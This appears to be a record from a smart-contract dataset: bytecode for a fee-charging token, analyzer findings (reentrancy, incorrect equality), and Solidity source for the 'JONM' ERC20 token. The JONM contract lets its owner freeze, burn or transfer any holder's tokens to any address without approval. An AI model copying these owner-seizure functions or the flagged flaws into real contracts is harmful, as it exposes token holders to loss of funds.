fffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806124ae5750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156124ad5750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156124bc5760009050612806565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156125675750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156126895742600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e54601281905550600f54601381905550600b54421415612688576001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156127345750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612805576000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156127d5575042601a54600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127d29190613c3e565b10155b156127f157600c54601281905550600d54601381905550612804565b6010546012819055506011546013819055505b5b5b61281284848484612cb3565b50505050565b6000838311158290612860576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128579190613917565b60405180910390fd5b506000838561286f9190613d1f565b9050809150509392505050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156128e4573d6000803e3d6000fd5b5050565b600060075482111561292f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292690613979565b60405180910390fd5b6000612939612ce0565b905061294e8184612c5990919063ffffffff16565b915050919050565b6001601c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561298e5761298d613eb0565b5b6040519080825280602002602001820160405280156129bc5781602001602082028036833780820191505090505b50905030816000815181106129d4576129d3613e81565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612a7657600080fd5b505afa158015612a8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612aae91906133c1565b81600181518110612ac257612ac1613e81565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b2930601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611824565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612b8d959493929190613b74565b600060405180830381600087803b158015612ba757600080fd5b505af1158015612bbb573d6000803e3d6000fd5b50505050506000601c60156101000a81548160ff02191690831515021790555050565b600080831415612bf15760009050612c53565b60008284612bff9190613cc5565b9050828482612c0e9190613c94565b14612c4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4590613a59565b60405180910390fd5b809150505b92915050565b6000612c9b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d0b565b905092915050565b612cb03061dead836119ef565b50565b80612cc157612cc0612d6e565b5b612ccc848484612dd0565b80612cda57612cd9612f9b565b5b50505050565b6000806000612ced612fb8565b91509150612d048183612c5990919063ffffffff16565b9250505090565b60008083118290612d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d499190613917565b60405180910390fd5b5060008385612d619190613c94565b9050809150509392505050565b6000601254148015612d8257506000601354145b8015612d9057506000601454145b15612d9a57612dce565b6012546015819055506013546016819055506014546017819055506000601281905550600060138190555060006014819055505b565b600080600080600080612de28761301a565b955095509550955095509550612e4086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461308290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ed585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130cc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f218161312a565b612f2b84836131e7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612f889190613b59565b60405180910390a3505050505050505050565b601554601281905550601654601381905550601754601481905550565b600080600060075490506000683635c9adc5dea000009050612fee683635c9adc5dea00000600754612c5990919063ffffffff16565b82101561300d57600754683635c9adc5dea00000935093505050613016565b81819350935050505b9091565b60008060008060008060008060006130378a601254601354613221565b9250925092506000613047612ce0565b9050600080600061305a8e8787876132b7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006130c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612818565b905092915050565b60008082846130db9190613c3e565b905083811015613120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161311790613a19565b60405180910390fd5b8091505092915050565b6000613134612ce0565b9050600061314b8284612bde90919063ffffffff16565b905061319f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130cc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6131fc8260075461308290919063ffffffff16565b600781905550613217816008546130cc90919063ffffffff16565b6008819055505050565b60008060008061324d606461323f888a612bde90919063ffffffff16565b612c5990919063ffffffff16565b905060006132776064613269888b612bde90919063ffffffff16565b612c5990919063ffffffff16565b905060006132a082613292858c61308290919063ffffffff16565b61308290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806132d08589612bde90919063ffffffff16565b905060006132e78689612bde90919063ffffffff16565b905060006132fe8789612bde90919063ffffffff16565b9050600061332782613319858761308290919063ffffffff16565b61308290919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061334f8161432a565b92915050565b6000815190506133648161432a565b92915050565b60008135905061337981614341565b92915050565b60008135905061338e81614358565b92915050565b6000602082840312156133aa576133a9613edf565b5b60006133b884828501613340565b91505092915050565b6000602082840312156133d7576133d6613edf565b5b60006133e584828501613355565b91505092915050565b6000806040838503121561340557613404613edf565b5b600061341385828601613340565b925050602061342485828601613340565b9150509250929050565b60008060006060848603121561344757613446613edf565b5b600061345586828701613340565b935050602061346686828701613340565b92505060406134778682870161337f565b9150509250925092565b6000806040838503121561349857613497613edf565b5b60006134a685828601613340565b92505060206134b78582860161337f565b9150509250929050565b6000602082840312156134d7576134d6613edf565b5b60006134e58482850161336a565b91505092915050565b60006020828403121561350457613503613edf565b5b60006135128482850161337f565b91505092915050565b6000806040838503121561353257613531613edf565b5b60006135408582860161337f565b92505060206135518582860161337f565b9150509250929050565b60006135678383613573565b60208301905092915050565b61357c81613d53565b82525050565b61358b81613d53565b82525050565b600061359c82613bf9565b6135a68185613c1c565b93506135b183613be9565b8060005b838110156135e25781516135c9888261355b565b97506135d483613c0f565b9250506001810190506135b5565b5085935050505092915050565b6135f881613d65565b82525050565b61360781613da8565b82525050565b61361681613dba565b82525050565b600061362782613c04565b6136318185613c2d565b9350613641818560208601613df0565b61364a81613ee4565b840191505092915050565b6000613662602383613c2d565b915061366d82613ef5565b604082019050919050565b6000613685601883613c2d565b915061369082613f44565b602082019050919050565b60006136a8602a83613c2d565b91506136b382613f6d565b604082019050919050565b60006136cb601c83613c2d565b91506136d682613fbc565b602082019050919050565b60006136ee602683613c2d565b91506136f982613fe5565b604082019050919050565b6000613711602283613c2d565b915061371c82614034565b604082019050919050565b6000613734600f83613c2d565b915061373f82614083565b602082019050919050565b6000613757601b83613c2d565b9150613762826140ac565b602082019050919050565b600061377a603483613c2d565b9150613785826140d5565b604082019050919050565b600061379d602183613c2d565b91506137a882614124565b604082019050919050565b60006137c0602083613c2d565b91506137cb82614173565b602082019050919050565b60006137e3602983613c2d565b91506137ee8261419c565b604082019050919050565b6000613806602583613c2d565b9150613811826141eb565b604082019050919050565b6000613829602383613c2d565b91506138348261423a565b604082019050919050565b600061384c600d83613c2d565b915061385782614289565b602082019050919050565b600061386f602483613c2d565b915061387a826142b2565b604082019050919050565b6000613892600c83613c2d565b915061389d82614301565b602082019050919050565b6138b181613d91565b82525050565b6138c081613d9b565b82525050565b60006020820190506138db6000830184613582565b92915050565b60006020820190506138f660008301846135ef565b92915050565b600060208201905061391160008301846135fe565b92915050565b60006020820190508181036000830152613931818461361c565b905092915050565b6000602082019050818103600083015261395281613655565b9050919050565b6000602082019050818103600083015261397281613678565b9050919050565b600060208201905081810360008301526139928161369b565b9050919050565b600060208201905081810360008301526139b2816136be565b9050919050565b600060208201905081810360008301526139d2816136e1565b9050919050565b600060208201905081810360008301526139f281613704565b9050919050565b60006020820190508181036000830152613a1281613727565b9050919050565b60006020820190508181036000830152613a328161374a565b9050919050565b60006020820190508181036000830152613a528161376d565b9050919050565b60006020820190508181036000830152613a7281613790565b9050919050565b60006020820190508181036000830152613a92816137b3565b9050919050565b60006020820190508181036000830152613ab2816137d6565b9050919050565b60006020820190508181036000830152613ad2816137f9565b9050919050565b60006020820190508181036000830152613af28161381c565b9050919050565b60006020820190508181036000830152613b128161383f565b9050919050565b60006020820190508181036000830152613b3281613862565b9050919050565b60006020820190508181036000830152613b5281613885565b9050919050565b6000602082019050613b6e60008301846138a8565b92915050565b600060a082019050613b8960008301886138a8565b613b96602083018761360d565b8181036040830152613ba88186613591565b9050613bb76060830185613582565b613bc460808301846138a8565b9695505050505050565b6000602082019050613be360008301846138b7565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613c4982613d91565b9150613c5483613d91565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c8957613c88613e23565b5b828201905092915050565b6000613c9f82613d91565b9150613caa83613d91565b925082613cba57613cb9613e52565b5b828204905092915050565b6000613cd082613d91565b9150613cdb83613d91565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d1457613d13613e23565b5b828202905092915050565b6000613d2a82613d91565b9150613d3583613d91565b925082821015613d4857613d47613e23565b5b828203905092915050565b6000613d5e82613d71565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613db382613dcc565b9050919050565b6000613dc582613d91565b9050919050565b6000613dd782613dde565b9050919050565b6000613de982613d71565b9050919050565b60005b83811015613e0e578082015181840152602081019050613df3565b83811115613e1d576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e7420746f6f206d7563680000000000000000000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060008201527f62652067726561746572207468616e20302e3125000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f53746f7020736e6970696e672100000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b61433381613d53565b811461433e57600080fd5b50565b61434a81613d65565b811461435557600080fd5b50565b61436181613d91565b811461436c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122060fb3d5b69cc2eb206781f92e05df53a12e901d20748bb4770f8b36a49e071e564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
8,309
0xf8964f9a4985749abca98114446f3adacce7cd92
pragma solidity ^0.5.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { //_transferOwnership(newOwner); _pendingowner = newOwner; emit OwnershipTransferPending(_owner, newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private _pendingowner; event OwnershipTransferPending(address indexed previousOwner, address indexed newOwner); function pendingowner() public view returns (address) { return _pendingowner; } modifier onlyPendingOwner() { require(msg.sender == _pendingowner, "Ownable: caller is not the pending owner"); _; } function claimOwnership() public onlyPendingOwner { _transferOwnership(msg.sender); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Pausable: paused"); _; } modifier whenPaused() { require(paused, "Pausable: not paused"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract ERC20Token is IERC20, Pausable { using SafeMath for uint256; using Address for address; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _totalSupply = totalSupply; _balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256 balance) { return _balances[account]; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address recipient, uint256 amount) public whenNotPaused returns (bool success) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public whenNotPaused returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(address account,uint256 amount) public onlyOwner returns (bool) { _burn(account, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn to the zero address"); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } } contract JONM is ERC20Token { constructor() public ERC20Token("Jonmang", "JON-M", 18, 1000000000000 * (10 ** 18)) { } mapping (address => uint256) internal _locked_balances; event TokenLocked(address indexed owner, uint256 value); event TokenUnlocked(address indexed beneficiary, uint256 value); function balanceOfLocked(address account) public view returns (uint256 balance) { return _locked_balances[account]; } function lockToken(address[] memory addresses, uint256[] memory amounts) public onlyOwner returns (bool) { require(addresses.length > 0, "LockToken: address is empty"); require(addresses.length == amounts.length, "LockToken: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _lock_token(addresses[i], amounts[i]); } return true; } function lockTokenWhole(address[] memory addresses) public onlyOwner returns (bool) { require(addresses.length > 0, "LockToken: address is empty"); for (uint i = 0; i < addresses.length; i++) { _lock_token(addresses[i], _balances[addresses[i]]); } return true; } function unlockToken(address[] memory addresses, uint256[] memory amounts) public onlyOwner returns (bool) { require(addresses.length > 0, "LockToken: unlock address is empty"); require(addresses.length == amounts.length, "LockToken: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _unlock_token(addresses[i], amounts[i]); } return true; } function _lock_token(address owner, uint256 amount) internal { require(owner != address(0), "LockToken: lock from the zero address"); require(amount > 0, "LockToken: the amount is empty"); _balances[owner] = _balances[owner].sub(amount); _locked_balances[owner] = _locked_balances[owner].add(amount); emit TokenLocked(owner, amount); } function _unlock_token(address owner, uint256 amount) internal { require(owner != address(0), "LockToken: lock from the zero address"); require(amount > 0, "LockToken: the amount is empty"); _locked_balances[owner] = _locked_balances[owner].sub(amount); _balances[owner] = _balances[owner].add(amount); emit TokenUnlocked(owner, amount); } event Collect(address indexed from, address indexed to, uint256 value); event CollectLocked(address indexed from, address indexed to, uint256 value); //Lock이 해지 되었다. function collectFrom(address[] memory addresses, uint256[] memory amounts, address recipient) public onlyOwner returns (bool) { require(addresses.length > 0, "Collect: collect address is empty"); require(addresses.length == amounts.length, "Collect: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _transfer(addresses[i], recipient, amounts[i]); emit Collect(addresses[i], recipient, amounts[i]); } return true; } function collectFromLocked(address[] memory addresses, uint256[] memory amounts, address recipient) public onlyOwner returns (bool) { require(addresses.length > 0, "Collect: collect address is empty"); require(addresses.length == amounts.length, "Collect: invalid array size"); for (uint i = 0; i < addresses.length; i++) { _unlock_token(addresses[i], amounts[i]); _transfer(addresses[i], recipient, amounts[i]); emit CollectLocked(addresses[i], recipient, amounts[i]); } return true; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f457806314a7a6311461026757806318160ddd146103f857806323b872dd14610423578063313ce567146104b657806339509351146104e75780633f4ba83a1461055a5780634e71e0c8146105715780635c975abb1461058857806370a08231146105b7578063715018a61461061c5780638456cb59146106335780638da5cb5b1461064a5780638f32d59b146106a157806395d89b41146106d05780639dc29fac14610760578063a457c2d7146107d3578063a9059cbb14610846578063b9bcabe9146108b9578063da4a898e14610a4a578063dd62ed3e14610aa1578063e50c652914610b26578063e960bb4814610c03578063f2cb9bea14610c68578063f2fde38b14610dd9578063f612436114610e2a575b600080fd5b34801561017057600080fd5b50610179610f9b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061024d6004803603604081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103d565b604051808215151515815260200191505060405180910390f35b34801561027357600080fd5b506103de6004803603606081101561028a57600080fd5b81019080803590602001906401000000008111156102a757600080fd5b8201836020820111156102b957600080fd5b803590602001918460208302840111640100000000831117156102db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561033b57600080fd5b82018360208201111561034d57600080fd5b8035906020019184602083028401116401000000008311171561036f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d9565b604051808215151515815260200191505060405180910390f35b34801561040457600080fd5b5061040d611363565b6040518082815260200191505060405180910390f35b34801561042f57600080fd5b5061049c6004803603606081101561044657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061136d565b604051808215151515815260200191505060405180910390f35b3480156104c257600080fd5b506104cb6114a3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104f357600080fd5b506105406004803603604081101561050a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114ba565b604051808215151515815260200191505060405180910390f35b34801561056657600080fd5b5061056f6115e4565b005b34801561057d57600080fd5b5061058661172d565b005b34801561059457600080fd5b5061059d611823565b604051808215151515815260200191505060405180910390f35b3480156105c357600080fd5b50610606600480360360208110156105da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611836565b6040518082815260200191505060405180910390f35b34801561062857600080fd5b5061063161187f565b005b34801561063f57600080fd5b506106486119ba565b005b34801561065657600080fd5b5061065f611b03565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106ad57600080fd5b506106b6611b2c565b604051808215151515815260200191505060405180910390f35b3480156106dc57600080fd5b506106e5611b83565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072557808201518184015260208101905061070a565b50505050905090810190601f1680156107525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561076c57600080fd5b506107b96004803603604081101561078357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c25565b604051808215151515815260200191505060405180910390f35b3480156107df57600080fd5b5061082c600480360360408110156107f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cb7565b604051808215151515815260200191505060405180910390f35b34801561085257600080fd5b5061089f6004803603604081101561086957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611de1565b604051808215151515815260200191505060405180910390f35b3480156108c557600080fd5b50610a30600480360360608110156108dc57600080fd5b81019080803590602001906401000000008111156108f957600080fd5b82018360208201111561090b57600080fd5b8035906020019184602083028401116401000000008311171561092d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561098d57600080fd5b82018360208201111561099f57600080fd5b803590602001918460208302840111640100000000831117156109c157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e7d565b604051808215151515815260200191505060405180910390f35b348015610a5657600080fd5b50610a5f61213f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610aad57600080fd5b50610b1060048036036040811015610ac457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612169565b6040518082815260200191505060405180910390f35b348015610b3257600080fd5b50610be960048036036020811015610b4957600080fd5b8101908080359060200190640100000000811115610b6657600080fd5b820183602082011115610b7857600080fd5b80359060200191846020830284011164010000000083111715610b9a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506121f0565b604051808215151515815260200191505060405180910390f35b348015610c0f57600080fd5b50610c5260048036036020811015610c2657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612384565b6040518082815260200191505060405180910390f35b348015610c7457600080fd5b50610dbf60048036036040811015610c8b57600080fd5b8101908080359060200190640100000000811115610ca857600080fd5b820183602082011115610cba57600080fd5b80359060200191846020830284011164010000000083111715610cdc57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610d3c57600080fd5b820183602082011115610d4e57600080fd5b80359060200191846020830284011164010000000083111715610d7057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506123cd565b604051808215151515815260200191505060405180910390f35b348015610de557600080fd5b50610e2860048036036020811015610dfc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125c2565b005b348015610e3657600080fd5b50610f8160048036036040811015610e4d57600080fd5b8101908080359060200190640100000000811115610e6a57600080fd5b820183602082011115610e7c57600080fd5b80359060200191846020830284011164010000000083111715610e9e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610efe57600080fd5b820183602082011115610f1057600080fd5b80359060200191846020830284011164010000000083111715610f3257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506126fd565b604051808215151515815260200191505060405180910390f35b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110335780601f1061100857610100808354040283529160200191611033565b820191906000526020600020905b81548152906001019060200180831161101657829003601f168201915b5050505050905090565b6000600160149054906101000a900460ff161515156110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6110cf3384846128cc565b6001905092915050565b60006110e3611b2c565b1515611157576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600084511115156111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f436f6c6c6563743a20636f6c6c656374206164647265737320697320656d707481526020017f790000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8251845114151561126f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f6c6c6563743a20696e76616c69642061727261792073697a65000000000081525060200191505060405180910390fd5b60008090505b8451811015611357576112b7858281518110151561128f57fe5b906020019060200201518486848151811015156112a857fe5b90602001